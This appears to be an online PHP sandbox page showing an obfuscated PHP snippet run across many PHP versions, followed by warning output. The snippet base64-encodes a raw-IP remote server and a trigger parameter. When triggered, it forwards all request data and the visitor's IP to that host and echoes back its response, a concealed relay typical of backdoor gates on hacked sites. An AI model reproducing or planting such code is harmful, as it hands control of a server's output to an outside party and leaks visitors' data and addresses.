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run code in 300+ PHP versions simultaneously
<?php $server = 'aHR0cDovLzE5NS4yNDUuMTEyLjIzNC8yNDA1Lw=='; if (($_POST[base64_decode('OTk=')]=='')and($_GET[base64_decode('OTk=')]=='')) { exit; } echo file_get_contents(base64_decode($server).'?'.http_build_query($_GET), false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => http_build_query($_POST).'&ip='.$_SERVER['REMOTE_ADDR'])))); ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.29, 8.2.0 - 8.2.20, 8.3.0 - 8.3.8
Warning: Undefined array key 99 in /in/sm948 on line 3 Warning: Undefined array key 99 in /in/sm948 on line 3
Output for 5.5.0 - 5.5.36, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.7, 7.2.0 - 7.2.33, 7.3.16 - 7.3.31, 7.4.0 - 7.4.33
Notice: Undefined offset: 99 in /in/sm948 on line 3 Notice: Undefined offset: 99 in /in/sm948 on line 3
Output for 7.3.32 - 7.3.33

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185.36 ms | 402 KiB | 218 Q